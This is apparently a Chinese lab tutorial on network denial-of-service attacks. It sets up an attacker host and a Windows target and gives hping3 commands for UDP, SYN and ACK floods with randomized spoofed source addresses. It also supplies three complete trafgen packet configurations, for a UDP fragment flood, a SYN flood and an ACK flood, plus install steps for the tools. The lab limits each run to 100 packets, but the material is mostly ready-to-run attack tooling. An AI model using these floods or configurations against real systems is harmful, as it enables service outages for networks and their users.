包含2台主机
attact 作为攻击方,使用Centos7.2
windows_server ,用于被攻击,同时抓包分析流量 ,任意版本均可。安装wireshark,用于抓包
hping --help
hping3 --flood --rand-source --udp -p 目标端口 目标IP
hping3 --flood --rand-source --udp -c 100 -p 目标端口 目标IP
–flood : sent packets as fast as possible
–rand-source: random source address
–udp : UDP mode
-p –destport: destination port (default 0)
-c 100 发送100个数据包,用于实验,不加可能会死机
执行命令时,抓包查看发送数据。并观察目标机器网络
hping3 --flood –-rand-source -S -c 100 -p 目标端口 目标IP
-S:发送SYN标记
攻击后,在windows上使用 netstat -ano | find "SYN"命令,查看现象
hping3 --flood –-rand-source -A -c 100 -p 目标端口 目标IP
-A:发送ACK标记
试试同时发起syn_flood与ack_flood
small_frag.traf为配置模板,需要修改 目标IP地址 目标端口 目标MAC地址等参数
trafgen --cpp --dev 接口名 --conf small_frag.traf -n 100 --verbose
–cpp Run packet config through C preprocessor
–conf 配置文件
–dev 接口名,通过ifconfig可以查看
–verbose 冗余发送
-n 100 发送100个数据包,用于实验,不加可能会死机
trafgen --cpp --dev 接口名 --conf syn_flood.traf -n 100 --verbose
trafgen --cpp --dev 接口名 --conf ack_flood.traf -n 100 --verbose
试试同时发起syn_flood与ack_flood
wget https://github.com/antirez/hping/archive/master.zip
unzip master
cd hping-master
yum install libpcap-devel
ln -sf /usr/include/pcap-bpf.h /usr/include/net/bpf.h
yum -y install tcl tcl-devel
./configure
make && make install
参考:安装hping的一些坑
yum install netsniff-ng -y
small_frag.traf
/* UDP fragment DoS attack
* Command example:
* trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
// trafgen packet conf for fragment DoS attack
// -------------------------------------------
// - Need to randomize the frag ID
// - Use trafgen support for dynamic checksum recalc
//
// Checksum cannot be fixed with iptables:
// iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
// Because traffic is injected a place which don't have any NF hooks
//
{
// --- Ethernet Header ---
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol
// --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),
// ID, notice runtime dynamic random
drnd(2),
// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,
64, //TTL
17, // Proto UDP
// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),
192, 168, 164, 188, // Source IP
192, 168, 164, 1, // Dest IP
// --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(62148), // dst port
const16(20), // UDP length
// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),
// Payload
'A', fill(0x41, 11),
}
syn_flood.traf
/* TCP SYN attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf synflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
#define ETH_P_IP 0x0800
#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)
{
/* --- Ethernet Header --- */
/* NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source
const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 1, # Dest IP
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(1033),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
const32(0), /* NOTICE ACK==zero with SYN packets */
/* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
const16((0x5 << 12) | SYN) /* TCP SYN Flag */
//const16((0x5 << 12) | ACK) /* TCP ACK Flag */
/* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/
/* Data */
"SYNswf"
}
ack_flood.traf
/* TCP ACK attack ( 64byte )
* Command example:
* trafgen --cpp --dev em2 --conf ackflood.trafgen --verbose
* Note: dynamic elements "drnd()" make trafgen slower
*/
#define ETH_P_IP 0x0800
#define SYN (1 << 1)
#define ACK (1 << 4)
#define ECN (1 << 6)
{
/* --- Ethernet Header --- */
/* NEED ADJUST */
0x00, 0x0c, 0x29, 0x0e, 0xe4, 0xfe, # MAC Destination
0x00, 0x12, 0xc0, drnd(3), # MAC Source
const16(ETH_P_IP),
/* IPv4 Version, IHL, TOS */
0b01000101, 0,
/* IPv4 Total Len */
const16(46),
/* IPv4 Ident */
drnd(2),
//const16(2),
/* IPv4 Flags, Frag Off */
0b01000000, 0,
/* IPv4 TTL */
64,
/* Proto TCP */
0x06,
/* IPv4 Checksum (IP header from, to) */
csumip(14, 33),
/* NEED ADJUST */
10, 10, 88, drnd(1), # Source IP
192, 168, 164, 128, # Dest IP
/* TCP Source Port */
drnd(2),
/* TCP Dest Port */
const16(80),
/* TCP Sequence Number */
drnd(4),
/* TCP Ackn. Number */
drnd(4),
/* TCP Header length + Flags */
//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */
//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */
//const16((0x5 << 12) | SYN) /* TCP SYN Flag */
const16((0x5 << 12) | ACK) /* TCP ACK Flag */
/* Window Size */
const16(16),
/* TCP Checksum (offset IP, offset TCP) */
csumtcp(14, 34),
const16(0), /*PAD*/
/* Data */
"ACKswf"
}
手机扫一扫
移动阅读更方便
你可能感兴趣的文章